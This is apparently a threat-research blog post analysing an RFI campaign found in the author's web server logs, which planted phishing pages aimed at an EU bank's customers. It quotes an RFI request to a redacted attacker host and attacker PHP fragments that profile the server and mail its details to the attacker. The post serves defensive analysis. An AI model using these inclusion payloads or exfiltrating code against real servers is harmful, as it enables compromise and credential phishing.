Akamai Diversity

Akamai Security Intelligence
& Threat Research

Criminals using targeted Remote File Inclusion attacks in phishing campaigns

In June 2019, logs on my personal website recorded markers that were clearly Remote File Inclusion (RFI) vulnerability attempts. The investigation into the  attempts uncovered a campaign of targeted RFI attacks that currently are being leveraged to deploy phishing kits. The latest kit focuses on a large and well-known bank in the EU.


RFI attacks exploit unchecked or improperly validated inclusion functions within a targeted application or website. While PHP is the most common, RFI vulnerabilities can be found in everything, including Java and ASP.

Successful RFI attacks usually lead to the server outputting the contents of the attacker's externally called file. This is exactly what is happening in the attack being discussed in this post.

RFI attacks can also lead to code execution on the server, or client-side, which can result in Cross Site Scripting (XSS) attacks, Denial of Service (DoS), or sensitive information disclosure.

For more information, including examples, checkout the OWASP page for RFI and other related documents.

The Logs:

Server logs can reveal a number of attack methods and mechanics. In this case, the logs I observed were GET requests linking to a text file. In addition to the example below, there were other logs where different shell files were being called. The GET request is attempting to include the remote shell into the application running on my website, which would grant the attacker total control should this attempt succeed.

[16/Jun/2019:10:42:07] 1xx.xx.xx.253 GET /advisory.php?v=hxxp:/[redacted].com/shellsss.txt?&&r=s&

I was curious about this and  decided to investigate a bit further, and use the cURL command to pull down the content of the shellsss.txt file. As it turns out, this file wasn't for remote administration, which is typical for most shell files. Instead, the code within shellsss.txt showed that someone was checking for servers vulnerable to RFI, and if successful, the context of the $SERVER_ADMIN variable would be sent back to the attacker.


<tr align="left"> 

<td colspan="2" ><font color="#99CCFF" face="Arial">

Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>





Also included in the shelless file was a second external call to a file named xxu.txt:


include "hxxp://[redacted].com/xxu.txt?&&r=s&"


This file revealed a number of interesting elements to this attack, including the attacker's email address, the fact they favor Portuguese for variable names ($assunto), and confirmation that they are profiling the server before taking additional action.

The code below comes from xxu.txt, and if executed, the get_current_user() function returns information related to what user HTTP is running under on the server, such as Apache or Root. This data is then sent back to the attacker via email, using the $HTTP_HOST and $REQUEST_URI variables.




 $user = @get_current_user();

 $email = "$user";

 $assunto = "Vull-2017.";

 $email1 = "[attacker_email_redacted]";

 $headers  = "From: <$email>\r\n";


if(mail($email1, $assunto, $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){



When I went back to my logs and examined them further, I discovered a request for shell.txt from the same domain as the other two text files. This  contained the code needed to generate the phishing website targeting the EU bank.

The code below comes from shell.txt, and makes additional calls to two other files. At this point, it is worth mentioning that the reason for text files is due to their ease of use. The text files can be remotely included into vulnerable PHP web pages via RFI and executed. However,they're also easy to edit and manage, which gives the attacker a bit of flexibility. 


$numero = $_GET['lista'];

$config['maillist'] = "hxxp://[redacted].com/xmail.txt";

$config['mensagem'] = 'hxxp://[redacted].com/xeng.html';

$config[date]  = date("d/m/y");

$config['maxerros'] = 100;


The xmail.txt file is a configuration file that contains the email address the attacker is using to record harvested credentials, if the EU bank's customers fall for the scam. In addition, the file also contains code required for a basic logging system, which counts the number of successful attacks vs. the number of page visits.

The xeng.html file is the landing page used to initiate the final step in the phishing campaign. If the victims click on the ACCESS link, they are directed to a secondary domain where the phishing kit targeting the EU bank is hosted.



The redirection also logs the victim's IP address and uses it as part of the phishing link, as represented by the XXX below.



Targeted Attacks: 

The RFI attempts recorded in my logs were tailored to the page being tested. If the website being targeted uses form_id= for example, then the requests will match that instead of the generic (and commonly used) page_id= or page=. This tells us the attacker is likely parsing the HTML, and examining the variables being sent to via form to the backend.

In addition, using targeted RFI is a low-overhead situation for the criminal as well. There are tools that exist that enable attackers to scan the Internet, discovering websites that could be vulnerable to RFI, and record them to a list.

Working off a pre-compiled list enables the attacker to craft targeted RFI attempts that can be automated. This slow approach allows the attacker to remain undetected, and unless the server administrator is watching their logs (as I did in this case), successful attacks and attempts would go unnoticed until it was too late.

It's interesting to consider that of all the things the attacker could do with a system after discovering an RFI vulnerability, they chose to upload phishing landing pages. Rather than install a crypto currency miner or other means to monetize their access to the system. This is further proof that phishing is a profitable and highly-successful method of compromising credentials and victim information. 


Leave a comment